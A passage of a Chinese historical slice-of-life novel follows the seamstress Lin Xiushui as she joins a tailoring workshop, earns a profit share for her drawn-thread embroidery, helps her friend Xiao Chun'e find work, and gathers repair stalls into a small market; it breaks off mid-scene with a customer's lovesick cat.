张树胡说八道:“尤其是我,我一想着镇里吃喝要钱,阿俏你赚点钱不容易,万一没生意可咋办,愁得我吃不下饭,一听补只麻袋能赚三四文,我连觉都不睡,赶紧给你抢了这活。” 陈九川说:“你抢的?没睡醒就去河里睡。” 活是他寻的,麻袋是他运的,真正没睡的人是他。 林秀水说:“好费心,我好感动,但是张树你说的话,我没一个字能信的。” “哎,你们两个,”张树气恼,果然两人只会合起伙来气他,从前这样,眼下这样,他造了什么孽。 林秀水其他没听进去,她眼里只有这成堆的麻袋,来回绕了一圈,伸手摸了摸,最后蹦出来一句话,“你们卖麻袋吗?” 补不补的另说,她发现这堆麻袋真的很好,虽说是粗布织的,但是织得不错,麻袋要能买,确实比买布省钱,做手套更好。 张树啊了声,满脸不解,“阿俏,这是让你补的,补的,补的。” “我耳朵没问题,暂时不需要补,”林秀水回道。 陈九川来了句,“等我收拾收拾,转行卖麻袋去。” “真的?我才不信,你要卖,我就只跟你做生意了,”林秀水笑着跟他说,但接手了这批活计。 麻袋有什么好的,陈九川很费解,花钱买麻袋? “那你还给人揽补麻袋的活计,我说哥,”张树嫌弃他,“你有没有什么体面点的东西。” “体面,”陈九川看了眼自己,他没有体面,他连脸面都不要。 头回给人揽缝补生意,什么体面不体面,陈九川想的是赚得多,他还兜了几圈运过来。 他发觉到镇上后,越来越琢磨不透林秀水的想法,在他眼前,跟一团乱麻一般。 林秀水可太清楚他了,不然怎么非得大老远,给她揽什么麻袋生意。 她叫两人上家里来吃饭,陈九川一个人能去,带上张树不大愿意,非常不愿意,他说:“他太能吃了,烧给他吃,糟蹋粮食。” 张树呸一声,这人也有脸说,到底谁能吃。 其实明日是清明,往年清明,陈九川她娘会叫林秀水来吃饭,等王月兰回来,大伙趁着前后买纸马,用麦糕和稠饧(xíng)上坟祭扫。 忽然封水路,要大修水利,通往上林塘路要多耗半日到一整夜,今年清明回不去,陈九川急匆匆过来,又给林秀水揽了些活,忙起来能少想点。 转眼清明早上,他在镇里待了一日,大清早叫林秀水带上小荷跟他去摸青,就是摸螺蛳,镇里有吃清明螺的习俗。 小荷可高兴了,她就喜欢淌水玩,林秀水则觉得陈九川没事可做,她不大想摸,蹲在河岸口。 陈九川递给她一把折下来的柳条,“那你编只帽。” 林秀水看他,有些不解,陈九川说:“明州清明有个习俗,戴上柳条做的帽子,是思青,这帽子可不能掉。” 思青就是思亲。 林秀水每年到这时候,她都不大高兴,只是不说,可是心里很想娘。 她给自己慢慢编着柳条,编了点思念进去,编的时候看柳条青青,河水潺潺,套在头上,只顾想帽子别掉,倒是不想其他的。 而且大清早的,她犯困,而且陈九川老烦她,她只顾想他是不是有病,又让她挑螺丝又做青团的,她都不会。 难熬的清明日便是过去了,林秀水再没有那样难过,陈九川连夜离开镇上,临走前还真送她一堆麻袋。 林秀水说:“我随口说的,要真想买,我会去买的。” “反正我不要脸,从别人那抢来的,你只管拿去用。” 他说完,有人敲梆子催他,陈九川挥挥手,大步走了,他得看粮去。 王月兰看这大小伙子,大高个子的背影说:“你要不真认他当亲表哥算了,反正你张伯母也把你当干闺女。” 林秀水满脸疑问,啊了声,哪怕陈九川比她大一岁,但她真连哥都不大想叫,张木生还管她叫姐呢,她不会答应的。 “你还真想上了,我逗你的,”王月兰笑一声,拍拍她脑袋,“叫你少想些,这人走了就是走了。” 林秀水过了清明,也就不大想了,她歇工回来后,顾娘子告诉她,打算让她到裁缝作里去,也就是她底下全是裁缝的作坊里。 顾娘子已经看她缝了半个月的针线,知晓她的缝衣工夫,最终决定让她进到顾家裁缝作里,她说:“裁缝作跟成衣铺可不同,你在这里,只有几个外行的,但你到了那,全是裁缝,有些已经是二三十年的老裁缝了。” 换言之,林秀水的裁缝手艺在成衣铺这种小地方,确实能称得上一句不错,但在几十个裁缝的作坊里,她的本事还不大算出众的,而且里头靠本事说话。 顾娘子觉得林秀水可用,且布婆也跟她夸过林秀水许多次,她拨着算盘说:“从前是半熨布半当裁缝,眼下让你去那当裁缝,但是只能先打打下手,我能一个月能给开两贯的月钱,你要是 之后能干得好,我可以给你按小师傅两贯五的工钱算。” “我们这行就是这样,做得越好工钱越高,只在里头缝衣的,工钱低,能带徒弟给大户人家当针线人的,除了工钱外,还有各种赏钱。” “里头有四五十个裁缝,这两日你先跟着布婆分挑布匹,认认脸熟。” 林秀水倒是有些讶然,她这么快就离开成衣铺了? “不是走,你还得回来,熨新布你依旧要把关,只是先到裁缝作里,隔三日回来趟。” 林秀水在成衣铺待了快两个月,当真有些舍不得,小春娥也舍不得她,但是她跟林秀水说:“还是裁缝作适合你,你别怕,我娘在裁缝作里当厨娘,烧的饭可好吃了,她们那里吃的好,我叫我娘多打两块肉给你,不,给你打满!” 林秀水真被她逗笑了,同小春娥、大春玲依依不舍告别,当日背上包,心里怦怦跳,跟顾娘子往顾家裁缝作里去。 她心里也难免有些忐忑,又有些雀跃,她终于能见到许多裁缝了,之前在成衣铺里,只有她一个裁缝,在外行那手艺够看,可进了裁缝作,她还当真不知道自己手艺如何。 她从前以为顾娘子只管成衣铺的活,裁缝虽然多,但是应当也是缝衣,作坊应当不大,可出乎她的意料,顾家裁缝作相当大,足足有三间成衣铺前后院加起来那样大。 顾家裁缝作可不止给顾娘子成衣铺供衣的,还有顾二娘成衣铺,顾家生衣铺、顾家生帛铺等等。 是以光是前屋,便有十来个裁缝,围着半屋子的布匹,摊开来到桌子上,在那验布,有人拿着纸笔在记,每个裁缝摸了布,当即能说出来是什么样的布。 一个裁缝打了个标记说:“常州的白苎布,细布,拿去做里衣的,那里缺十匹布。” “药斑布,”另一个裁缝娘子接上,“布料不错,裁百裥裙尚可。” 又有娘子拿着布尺在敲打,满面怒色,“那匹记错了,你得狠狠挨两布尺,润州的火麻是上好的布,湖州那批竺布分三等,愣着干什么,还不搬回去,等会儿被里头的认出来,又是一阵数落。” 林秀水拉了拉自己的袋子,穿过一群裁缝和布,到布婆跟前,她同布婆是老熟人,在布行里认布的时候,便是布婆带她的。 只让她认三种布,麻布、绢布和纱缎,翻来覆去反反复复,连林秀水自己也不大回想,同批麻布看上十五日,挨个挑出错处来,枯燥而又乏味,她每次从布行里出来,都要在桥边坐会,看得脑子胀得慌。 从前她说,当裁缝第一样,是会熨布,那么第二样,是会看布,好不好,浆纱如何,有无错漏和空纱,染的成色如何… 布婆告诉她,“到了这,还是得先认布,里间有几十个裁缝娘子,手里各有各的活要做,没法子一一看布过去,就需要我们先看。” 这同林秀水熨布和织补等活都相挂钩,她能胜任这活计。 这间屋里总有十二位看布娘子,以及各有两位打下手的徒弟,都没把林秀水当回事,只是有娘子拉着布同布婆说:“这小丫头眼力成不成?瞧着还很生嫩,你老可得多把把关。” 实则是松了口气,幸好顾娘子没将人摊派到她们头上,压根不想带眼力不成的。 布婆只说:“小是小,可眼力不错。” “那叫她认认这匹布来,”角落里的看布娘子招招手,“那个叫阿俏是不是,你过来瞧瞧。” 大伙齐齐停下手里动作,将目光看过来,林秀水先看布婆,她跟着人家手底下做活,等布婆点点头,才不慌不忙小迈步过去。 看布娘子问她,“什么布?是几等布,好不好?” 得益于林秀水缝补和熨布,看布倒是不大能难得倒她,伸手摸了摸,捻了捻,确定是葛布。 再凑近看纹路,纹路很有序,布边齐整,没有多余的线头,浆纱浆得很均匀,没有头重脚轻。 她便当着大伙的面回道:“是匹葛布,从前应当是上好的,能做一等,而且这匹布浆纱浆得很不错,不是从临安府来的,没有重浆,但是只是从前。” 有人好奇:“什么意思?” “因为这匹布从前是一等一的好布,但是应当放得有些久远,面料发黑,”她嗅了嗅,“有硫磺味,肯定是在烘笼里熏蒸过变白的,这种布就没法称一等布,只能算三等了。” 屋里大家静默,有娘子朝向角落里问,“到底是不是这样?” 那看布娘子倒是高看了眼林秀水,点点头,“确实是,这批葛布放在塌房那太久,里头颜色都黑了,刚前日蒸过拿回来的,熏得发白,倒是个好苗子。” “不错,年纪轻轻有眼力,是个做裁缝的好苗子。” 好苗子林秀水只来不到半个时辰,就被这屋里的大伙记住,并且领到了活计,她靠自己的本事,在这里吃得挺开。 而且晌午比成衣铺可好太多了,有一荤一素,但这里没人跟林秀水逗趣,没人跑到灶房后面,跟里头伙夫正大光明借灶烧东西,也没有人吃饭特意掰给她一块,偷偷摸摸地借炉子炖水烤饼吃。 她吃着肉,都有些食不下咽起来,她确实想小春娥和大春玲了。 除了吃饭外,裁缝作是很有意思,几位娘子会辩布,比如一匹布看不大出来到底好不好,会翻来覆去拉上人来看,各有各的意见。 且她们辩起布来,那可不只是口头说说,说到激动处,还会手里握着布尺,砸得邦邦响,满脸不服输,撸袖子,站到凳子上,会叫徒弟站在身后给自己助阵,非得辩赢了不可。 如果辩布完,确定这匹布好不好,面目扭曲又会变得和蔼可亲起来,你好我好大家好。 林秀水刚开始还会一抖,这看布闹得跟要打起来,还是头回见,但是一下午要斗上三四回,她抖着抖着就习惯了,告诉自己这是看布的规矩,她也练练嗓门去。 上了一日工,跟布婆到处打转,坐在个背光的角落里,林秀水苦中作乐上完一日工,她满脑子只有,布、布、布。 小春娥来找她,满脸关切地问:“阿俏,裁缝作里好不好?” “布,”林秀水才惊觉自个儿说了什么,将脑袋搁在小春娥头上,“好,布很好。” 她眼下只想做一匹布,告诉大伙她很好,是匹好布。 小春娥唉声叹气,“没你在,我都吃不下饭。” “是啊,没你在,我吃饭都没人跟我说笑了,”林秀水苦哈哈。 小春娥又安慰她,“我们俩进去,叫我娘认认脸,多舀几块肉给你。” 林秀水可过意不去,忙拉住她,别叫她娘难做人,拉她走了,跟小春娥说起炭行的生意,“我有了个好主意。” “什么?” 林秀水的好主意就是用麻袋做衣裳,做小孩穿的罩衣,她发现麻袋真不错,又便宜又好用,而且做的罩衣,既能保证小孩身上干净,她也能赚。 她做的罩衣样式很简单,只需要前片、后片和袖样,一天能缝五六件,炭行三十几个孩子。 为什么不做更适合炭行的口罩,倒是有卖过,找不到好材质的,反正都闷着很难受,他们说这玩意不如面罩舒服。 罩衣穿着好,又不闷又不勒,而且穿好后,又戴上手套,罩衣脏了,但脱下来里面衣裳干净。 买个麻布袋子才二三十文,拼凑下,六十五文能买件罩衣,但是买成匹的麻布可就得上贯了,这年头买不起布,穿纸衣、盖纸被的人多了去。 尤其林秀水在桑树口缝补,有好几个穿纸衣的叫她缝补,外头是用楮树皮纸做的纸衣,而且没有缝合,是黏起来的,她给用线缝住的。 还有专门做纸衣的行当,连衙门或是朝廷救济穷人,给的也是纸衣。 眼下天气转热,穿纸衣还凉快,来补纸衣的人这样说。 林秀水便觉得,用麻袋做衣裳真的省钱,谁说麻袋不能做出好衣裳的。 她收了不少粮袋,不止做罩衣,还做围布和裤子卖,缝点布贴,拼点布头撞色,买的人不少,因为桑树口没有几个有银钱的,或是富户。 缝补这种生意,不止桑树口,她连裁缝作里全是裁缝的,都能有活接,有钱赚。 因为有 些活,没有专门的缝补婆子做了后,钱少事多,管事特爱挑剔,那就成了没人管的事,谁也不愿意接手,活多得做不完,还得补些破烂东西。 坏了的帘子没人补,大伙来来去去抱怨一句,任凭它吊着,管了以后都得管,活都做不完,桌帷破了也没人管,随意给按块布上去遮着,又不是布破了,能看就行。 自从林秀水来了后,挂着帘子补好了,桌帷补得看不出破洞,而且平平整整的,她原本顺手补的,没想到布婆给顾娘子说了,会跟作坊的管事说,给她算钱。 她发现在裁缝作里干缝补生意,可比在桑桥渡赚钱多了。 她已经自动给自己找到赚另类月钱的办法,上升速度快,脸能混熟,关键是能赚大钱。 才几日工夫,裁缝娘子们好些已经离不开她,都在喊:“你要走了,这些东西谁来补?” 谁懂她们有些人日日下了工,回家补些破烂的痛苦,但自打林秀水来了后,痛苦?难受?那是什么东西?全收拾收拾出来补好了。 第43章 第 43 章 抽纱绣与缝补摊子小市集…… 按理说在裁缝作里, 全是很会针线活的裁缝娘子,林秀水压根接不到活的。 裁缝作里的裁缝分了好几种,前几种人少, 看布选布的,专门量身画线以及裁衣的,给裙子打褶的, 钱少活多;后几种人多活多钱多,缝各式褙子,长褙子、短褙子,缝上襦的, 有窄袖、宽袖之分,以及缝裙子的,满褶裥、百迭裙、合围裙、三裥裙、璇裙, 又或是缝各式裤、领抹、抹胸、半臂等等。 各有各的分工,而不算在这些里头的缝补婆子,则是专门收揽各种破损物件,诸如帘子、桌帷、各屋幌子、画线布袋,布幔等等,每隔几日来一次,补完算钱。 但是有个很严苛的管事, 她东转西转, 对补的东西全不甚满意, 换了三四个缝补婆子, 而那些裁缝的徒弟,补得她更着恼,补上破洞便算完事,难看得要命, 有时还会想,这些东西也能出自裁缝的手? 近两天她不在,那东西破了更没人管,庄管事当然知道的,她没有找到合适的人手,原本回来前,已经做足了准备,但准备明显做少了。 她从额头直跳到面色平缓转而惊喜,那已经是从惊喜,都要变成惊吓了。 她瞧窗上的竹帘子,原先的线散了好些,半吊不吊地挂在那,眼下却重新缝线,还用纱缎给细致绑起来。 庄管事又走进看方格眼窗,是白绢布糊的,破了几个洞,换换又麻烦,补又费劲,一直破在那,她看竹帘时,惊奇地发觉,那破洞居然给补上了,半点瞧不出。 尤其是放布料的屋子同后头量身画线的,边上是门,中间挂了两道青蓝的布帘,底下流苏穗子散了,靠缝线吊在底下,那来来往往的人,打帘子进门的,边缘线开衩到底下,可这会儿补齐全了。 “这些是谁补的?”庄管事询问,又从心底冒出疑惑,难不成顾娘子或是顾二娘子安排了人手,没有知会她。 原本还在各干各活的娘子们齐齐看向角落边,庄管事也看,见个高瘦年轻的小娘子,便问:“新来的?谁徒弟?不对,看她做什么。” 布婆走过来说:“那是在我手底下做活的,她休工时补的,记得给她工钱,人家缝点东西麻烦。” 静默中,有个娘子摊开一匹布道:“人孩子补得挺辛苦,都说顺手的事,工钱应当给她才是。” 其他娘子纷纷应和:“补得多好啊。” “看看这帘子,我反正都给看顺眼了,阿俏一来便补好了,是该给她工钱。” 庄管事又不是眼瞎,她能瞧不出来好不好?从前那几个补得什么样,她打眼一瞧,能瞧出许多毛病来,还给许多工钱,眼下这个,她瞧了又瞧,怎么也挑不出毛病,心气顺了。 不仅给,她往高了给,叫林秀水过来,私底下跟她说:“你要能补,以后每隔三天,我叫人将东西送过来,交给你来补,你那日就专补东西,难的我给你五十文到一百来文一件,简单的十文到五十文。” “给你现钱,但你要给我补好。” 给这么多钱,林秀水别说补好,给她补出花样来都行。 林秀水原本只在看布匹的屋子看布,来回看一匹布,由于这里缝补的东西真不少,她跟着小蜜蜂一样,东飞飞,西转转,挎着个装满缝补工具的包袱,挨个屋子瞧瞧,缝缝补补。 她来了后,难补的屏风补好了,条案、香几上的穗子缝补上了,绣墩换了个新面,连那些小小的,不曾被注意的些微破洞,也全补好。 以至于她哪怕刚来,不少娘子都认识了她,日日挎个包,东补西补的,瞧上一眼便觉得深刻。 当林秀水还在为裁缝作的钱好赚,一日工夫赚几百文而感慨时,她真赚钱的主顾上门了。 那便是来自好几个缝衣娘子的活。 头一个刚找她的,是缝上襦的王娘子,针法绣艺两绝,听说她做的上襦,放到顾二娘成衣铺里是抢手货。 这王娘子生得很秀气,而且说话声音很柔和,但她来找林秀水时,说的话是这样,“你看,我是人,我官人也是人,我们两个人,但生出了一对小兔崽子。” 据王娘子自己说,她生的这对龙凤胎,当时要多欢喜有多欢喜,后来发现,其实生了两个找猫逗狗的小混蛋。 她闺女爱树超过爱她这个当娘的,每次出门见树就爬,而且认了好几棵最好爬的树为干娘,她的裤子每一日,真的每一日都是磨破的。 至于她儿子,认不得路,比方前头是条宽阔大道,他要贴着墙走,挨着树走,哪里有东西往哪里走,衣裳弄得又脏又破。 而她作为裁缝里的个中好手,每日回去,补些破烂衣裳,那是补得咬牙切齿,恨不得抄家伙,她同两人打上一架才好,一日日见不得她闲。 她眼下看林秀水缝补,突然顿悟,决定将这种头疼的活计,转让出去,即使花大价钱。 “多少钱都好说,你得帮我补我闺女扯破的头花、发带、衣裳裤子,还有我儿子的,补好就成,补丁能打多厚打多厚。” 王娘子当真痛苦极了,有人帮她补好,她还能勉强做到母慈子孝,不然则是后母子不笑。 林秀水深切地同情,而后同情的便是她自己,这两小孩有多能闹腾的,那王娘子送来的衣裳裤子,说好听点,是件破烂,说难听点,是狗啃过的破烂。 她拎着条裤子细思,什么玩意?头一次面对钱都犹豫的地步。 王娘子一想不成啊,这个烫手山芋她甩了好多次都没甩出去,不能砸在自己手里,她也不会再花任何冤枉钱,给这两个小祖宗补衣裳。 “加钱,多少都好说。” 最后以三十文一件成交,林秀水光是补王娘子的东西,刨去些零零散散的,能净赚三四百文,除了有点糟心。 但王娘子可感谢她了,挽救三人间岌岌可危的母子/女感情。 林秀水也彻底明白,在裁缝作确实比成衣铺有意思,人多那真是与众不同,有些人眼高于顶,手艺出众,跟她混不到一块去,但也有些,瞧着不大好相处,被人诟病,却也有另外一面。 比如第二个找她的,是庄管事。 庄管事 有个癖好,特别喜欢买团扇,时人也称纨扇,但是她买团扇喜欢到夜市里,一条小巷弄,人称鬼市子的地方扑买,博了一把又一把。 可鬼市子这种地方,灯笼暗,好些卖货的还将灯笼吊得很高,想扑买东西,靠眼力想贪个便宜,扑到好东西,那是压根不可能的。 庄管事每每扑买到一柄喜欢的团扇后,出来用灯笼一照,不是有黑点,便是破洞,或是画艺不佳,当然这种买完无法退货的鬼市子,全凭手气,就算扑买到很差的东西,也只能自认倒霉。 但她下次还去。 主要她喜欢团扇还有个原因,有时候起早要出门,又不想梳妆打扮,描抹唇妆,但是她住的巷子里,来往走动的人太多,熟人太多,她不想同她们见礼寒暄,都用团扇遮住脸,全当自己瞧不见。 虽说别人都认识她的团扇,还叫她团扇百娘,但她只要用团扇遮住面,管谁叫她呢。 不过手里的破扇子是越来越多,她不好意思寻裁缝作里人补,会被笑话死的,外头补扇的又不大满意,就中意林秀水的手艺,没有刻意卖弄技法,很扎实。 林秀水很感谢她的抬爱,但是她倒吸一口气,“管事,三十八把扇子,是不是有些太多了?” “不多啊,”庄管事将团扇摊放到桌子上,跟她细说,“你瞧,这柄是青罗团扇,这绣了山水图,这是白团扇…” 林秀水听着发晕,她坐在庄管事的屋里,听人细数团扇,拿起柄团扇,对着窗外的光细瞧,大多是竹木扇骨,糊了绢布,破洞处她没法拆线补,最多堆绫补绣。 倒是有些团扇上头染了黑点,胜在没有花样,只是纯色布绢,她新练了种绣法,倒是很适用,叫作抽纱绣,是将纱抽了之后,缠绕捆绑成镂空的形状,跟她所知的蕾丝类似。 她补纱、加纱、抽纱已经掌握得很娴熟了,所以这种抽纱绣,虽然比加纱难,但练起来不算费劲。 征得庄管事同意后,她很快用剪子剪掉发霉的线,抽掉的丝放旁边,再根据抽丝的地方,穿上白色绒线,将三根丝扎捆缠绕在一起,左右缠绕,很有规律地上下摆动,从一根根丝,便成一条有许多菱格的镂空花纹。 原本一柄霉变的团扇,有了独特的纹样。 庄管事看呆了,握在手里又摸又瞧,才嘶了声,“你这补法,很是独特啊,要能弄在布料上,袖口上,领抹上,那岂不是好看得紧。” 她思来想去问道:“你这手什么抽纱绣,难学吗?卖不卖这门手艺?我保你能卖有个好价钱,最起码是一条花样,能有几贯的价钱,是足贯的。” 这手法实在很与众不同,她都已经能想到,要是抽的地方在袖口处,单单是镂空处再加上点花样,得被多少人抢,光是想想,她的呼气声已经加大起来。 林秀水眼睛微张,一只手摩挲自己的褙子,她没想过抽纱绣能赚钱,而且是赚大钱。 她不是不激动,指尖有些许发麻,但是有个很严峻的问题,她小小地叹口气,“抽纱很难的。” “管事,别看我抽得这么快,我在成衣铺里抽了二十六匹纱线,补纱、加纱对我来说,那确实是容易得紧。” “但是抽这种没有个把月,肯定会断纱,布会崩坏,边缘这一块会绷紧或是松弛下来,不信娘子你大可以叫人试试。” 庄管事当然知道,不然也不会问她这手艺难不难学,她拿着团扇在屋里走了几圈,绣鞋踩在杉木地板上,此时钟鼓声敲响,已经到了大家陆续收东西走人的时候。 她请人叫顾娘子过来,此时等得有些心焦,完全坐不住,倒是林秀水在边上用布料抽纱,用线上下缠绕,编出两三条不同的镂空花样,哪怕在白布上,那几条镂空花纹也一眼引人注目。 顾娘子过来时,对着这花样瞧了许久,而后像第一次认识林秀水般,她将布料按在自己手上。 没想到才短短十日工夫,她已经没办法用十日前的眼光看林秀水,也不能再用之前的条件来跟她商谈。 眼下是看林秀水如何跟她谈。 林秀水在抽纱的时候,脑子里纷乱而复杂,她没办法谈,她需要冷静地将手艺发挥到最大,能挣最多的钱。 想了一夜,翻来覆去许久,她才坐在顾娘子的前面,郑重地提出自己的要求,“我不卖方子。” 顾娘子抬眼,她开出的价钱很惑人,是一条绣样给林秀水五两银。 但林秀水直视顾娘子,明确要求,“我要进缝领抹的地方,月钱按她们的来,但是做好一条领抹,得分我三成的钱,我的花样有成百上千种。” 一条领抹是六十文,加简单绣样能到两百文,加抽纱绣这种独特工艺的,顾娘子可以卖出到两百到四百文上下。 按折中的价钱算,一条得分给林秀水九十到一百多文,而缝领抹的月钱是两贯五。 但是抽一条长领抹要一到两天,顾娘子此时真的疑惑不解,“你得赚多少,才能赚到一条绣样五两银。” “我是从成衣铺里出来的,我想跟娘子你做长久的买卖,”林秀水说得很诚恳,主要买断方子给的钱是多,那太招眼了,而且一条花样五两银的前提是,她要教会别人,她花一个月教别人赚,不如自己赚。 她想靠自己的手艺往上攀升,她靠自己一个月也能赚五贯。 至于为什么,她还有不情之请,“我知道裁缝作里有熏香,烧香炭的活计,能不能留一个给我。” 林秀水在这抽纱绣上头做了让步,她说不仅绣,而且会教两人抽纱,换一个熏香的活计。 “你给谁?”顾娘子又问,她已经在想留人安置在哪里熏香比较好,说实话,林秀水让步很多,她很愿意跟她做买卖。 林秀水忙道:“小春娥,我想让她来试试,她肯定可以的,娘子别看她年纪小,但她不管烧炭还是香炭,手艺都很老练。” 她那么多日子里,总是会想起,小春娥在炭行里拉她,她们两人走在一起,在那黑漆漆的地方,谈过以后,有憧憬和向往。 那时小春娥说:“我以后会烧很好的炭,进四司六局的油烛局里,但我这会儿还是得烧炭,得先养活我自己。” “当然要是从烧炭到烧香炭,那我也算是大有长进。” 而那时林秀水对以后的期许,变成想要成为真正的裁缝,无关银钱,她想要在裁缝这行走下去。 小春娥想让她赚钱,她也想靠手艺,换小春娥往前多走两步。 顾娘子倒是有些许惊讶,因为小春娥不是林秀水的血亲。 “可她是朋友啊。” 是林秀水在一堆黑炭里,也闪闪发光的朋友。 顾娘子暗叹自己已经不大年轻了,留了个烧香炭的活,月钱有一贯六,这还是抢手的活。 林秀水背着包,迈着轻快的步伐,穿梭在人群里,面上有藏不住的喜悦,裙摆飘飘,上回还是她涨月钱时,她急匆匆回去跟姨母说。 这回,她仍旧要同姨母说,更要告诉小春娥这个消息。 “我真的要哭死了,”小春娥吸吸鼻子,抹着眼泪,“我还想跟别人换,叫她来成衣铺烧火,我去裁缝作给我娘烧灶去。” 即使林秀水没说,她也知道,肯定没人跟阿俏一块吃饭的。 小春娥擦不干眼泪,淌着泪,一抽一噎地说:“阿俏怎么办,我是不是得买眼药去了,我的眼睛自己要哭,我止不住。” “好了,好了,这下换你请我吃饭了,”林秀水拍拍她的背,笑道,“请我吃一碗鳝鱼。” “不好,那太便宜了。” 林秀水就想吃鳝鱼,从前她还没钱,小春娥也是叫她请吃鳝鱼,她没有忘记, 她很难忘记。 后来是去小春娥家里吃的,她娘非得要好好谢她,硬是买了九百文一斤的羊肉,做了大菜请她吃,从前小春娥夸口过的,也算是实现了。 当然更快实现的,是小春娥从之前到成衣铺烧炭,眼下进了裁缝作里,给烧各种香炭。 时人爱香,女子则要给衣物熏香,各色衣裙卖出前,要先过一遍熏笼,而抹胸里,也会有夹层,要加香粉或是干花瓣。 到处是衣裙,是衣香,小春娥也会有些恍惚,烧的香如今不再是黑漆漆,真成上好的香料了,她时常想哭。 当然她又和林秀水在一块吃饭了,她娘没给两人打满肉,只是从自个儿的伙食里,每次分出来些别的给两人吃。 晌午两人会坐在院子的角落里,在没人的地方,捧着碗吃饭、闲聊,小春娥会说今日烧的是什么香炭,她会烧什么香,熏衣服有个娘子总是往自己香囊里塞些干花瓣,又香又臭的。 林秀水则说在缝领抹处,有了张大桌子,专门给她挑纱,她说比起看布来,更喜欢做抽纱绣的活,大家看她很稀奇。 毕竟一个十来天前在看布验布,接各种缝补活计的人,立马跃升到缝领抹,怎么不让人觉得大感惊奇。 但人生际遇如此奇妙。 不过短短十数日,林秀水进了领抹处,小春娥烧上了香炭,都有光明的前途。 哪怕许久之后,两人都各自走上其他的道路,可仍旧是最要好的朋友,仍旧怀念那些相识于微末的岁月,两人曾并肩走过。 而眼下,林秀水抽纱做绣,在缝领抹的大屋子里,领到了靠窗处最好的地方,有了张很大的桌子,顾娘子说过几日,要给她找两个人手,她要在这里待上一段日子。 缝领抹的人有十八个,哪一个人的本事都是不同的,有缝最简单的,有的很会拼色,几块布头在手里能拼成很搭的颜色,有些绣花鸟纹样,最厉害的是这里的管事,她会销金技法,在领抹处嵌入销金图案,第二是她的徒弟,会加金银丝。 林秀水的抽纱绣能排第三,但凡先前对她抱有偏见的,在这种独特而精巧的技艺前,都不能再保持偏见。 由于抽纱绣很慢,顾娘子说至少有五六条再卖。 这便到了暮春,桑柳青青,遍地鸟雀做窝,猫小叶长胖,小荷高了些,林秀水换上了薄透的春衫。 王月兰丝行的生意红火,又欢喜于林秀水有本事,每日走路风风火火,而林秀水的钱越攒越多,缝补生意越来越好。 只是她不再什么活都接,她会分些手里的活。 这就不得不说她支摊的桑树口,从前只有她在桑树底下,做些缝补生意,而其他人更喜欢往远处点的南货坊边上,那里人多繁杂,赚得钱也多。 但随着她的缝补生意越来越红火,名声渐渐传到了河道口、桑树口以及桑桥渡其他几条巷子里,每日早晚来找她缝补的人,愣是将冷清的桑树口,便成一块小市集。 她本来就有什么都补的“美名”,是以来找她缝补的人,那真是更加五花八门,她嘴舌都说干了,叫人家到别处补去,给指了个地方,但是人家不去,就守着她。 守着她也没有任何用,有些东西她实在不会补,补出来也是歪七扭八的,还会砸她的招幌,人家又信她,只好给寻人来。 是以没法子,这里在她的吆喝下,从一两个缝补匠到逐渐支摊的人越来越多,从桑树口一直慢慢延伸过去。 四月初的清早,雾蒙蒙,桑树口已经有人影攒动,补各种席子的黄阿婆挑着担过来,带着她的两个儿孙,两小孩手里抱着各种细条。黄阿婆会补黄草席、竹席,还会编各种草席。 从前得挑担挨家挨户问,要不补席子,补草席,如今有了个安稳的地方,补席和编席的人不少,每日也能赚个几十文到百来文。 她边上的是篾匠周阿爷,在竹木行边上的,那里到处是篾匠,赚的钱勉强能糊口,林秀水认识他,请他到这里来补篮子。 他很会做竹篮,一根竹子,劈篾,做底、编篮、杀口(收篮口),绕篮掼(做篮子的把手),不管什么,网篮儿、小花篮、香篮、饭篮等等,到了他手里,全能做还都能补,也算是免了大伙要坐船跑一趟最东头的竹木两行,或是最南边的南货坊,就近能补。 篾匠周阿爷对面则是补书画绢本的摊子,支摊的是对夫妻,架起一张木案,上头有浆糊、剪子等等,边上有小木桶,放了各色纸张。 这是原先林秀水专门叫人上这书画摊子补的,人家比她补这东西要能耐得多,术业有专攻,后头大伙也想叫人到这头来,书院什么在这多,补补东西也图个方便,将摊子移到了这处来。 另有两个是林秀水特意请的,一个是补鞋的陈婆子,林秀水有两双鞋子也是送到她那里补的,她不仅会补布鞋、平头鞋、翘头履,还有各种靴子,从前也是在双线行里干的。 最后一个则是,同作为缝补娘子的,在对岸的胡三娘子,人家讲究,觉得同做缝补活计的,不能抢了她生意,死活不肯来。 但其实,自打林秀水在这支摊以后,她的生意日渐下滑,明明手艺不错的,大家也更肯绕远路到桑树口来。 其实胡三娘子来过许多趟,自觉没法跟林秀水相比,活也少了许多,有些心灰意冷,不想缝补衣裳,打算另起个行当算了。 毕竟在缝补的行当里,那也是凭手艺和本事说话的,比不过便是比不过,没有相争的道理。 但是没想到,林秀水会特意来请她。 林秀水说:“其实有许多活,娘子干得比我好,我这个年轻气盛,其实还挺好面子,不大愿意缝些补丁…或是裂口等衣裳。” “娘子在缝这上头的针法比我要好许多,且我又没法整日出摊,忙来忙去,大伙想着急穿衣裳,也得等我将活做完,等上几日才能穿上,娘子要过来,那大伙也不用等我忙完。” 林秀水的活实在多,人只有两只手,哪里什么活都能做,什么钱都能赚,她如今已经有了些家底,在裁缝作那也露了头,这种比较简单的缝补活计,交由胡三娘子来做最合适。 当然她不知道,胡三娘子本来想歇业停工的,倒是被她再三请来,有许多人要缝补衣裳,各式各样的,她突然又找回了,曾经大伙请她缝补时,补好一件衣裳的乐趣,她好像已经有很久,沉浸于没多少生意的痛苦中。 逐渐忘记,她年轻时候,也是喜欢缝补才做这个活计的,忙于生计会带来许多痛苦,而眼下那些痛苦又在缝补中,渐渐消散。 这便是桑树口几人慢慢组成的缝补摊子,在清早里,补篮子的、补席子的、补帘子的种种早就忙活开了。有人要去摘茶叶,偏巧篮子坏了,有几个书院的孩童跑来,急匆匆要补书本,怕被先生责罚,也有人行船过来,鞋子突然坏了,赤着只脚,上了溪岸口碰碰运气,发现结果正凑巧,居然有摊子能补,顿时大感惊喜。 而这样的早上,从前林秀水忙得不行,要人先等,实在着急只能往边上去,可眼下,只有简单缝补需求的,都可以快些欢喜补完,忙自个儿的活计。 至于林秀水,哪怕分出这么多活,她在桑树口,在很多人心里依旧无可替代。 毕竟谁会织补,谁会将东西补好,又补出新奇的花样。 当然,毕竟也没有人会为斗鸡做衣裳,为鹦鹉专门做个斗篷,给驴做鞋套,没了她,这些不正经的缝补活计,没人能做。 比如这大早上,抱着只花狸过来的娘子,她愁死了,“我家这猫思春,犯了相思病。” 林秀水觉得可正常了,春天里,哪有猫不思春的。 “但它吧,”那娘子真是不想说,她犹犹豫豫吞吞吐吐,“它不喜欢真猫,就喜欢我家墙上挂的猫图。” 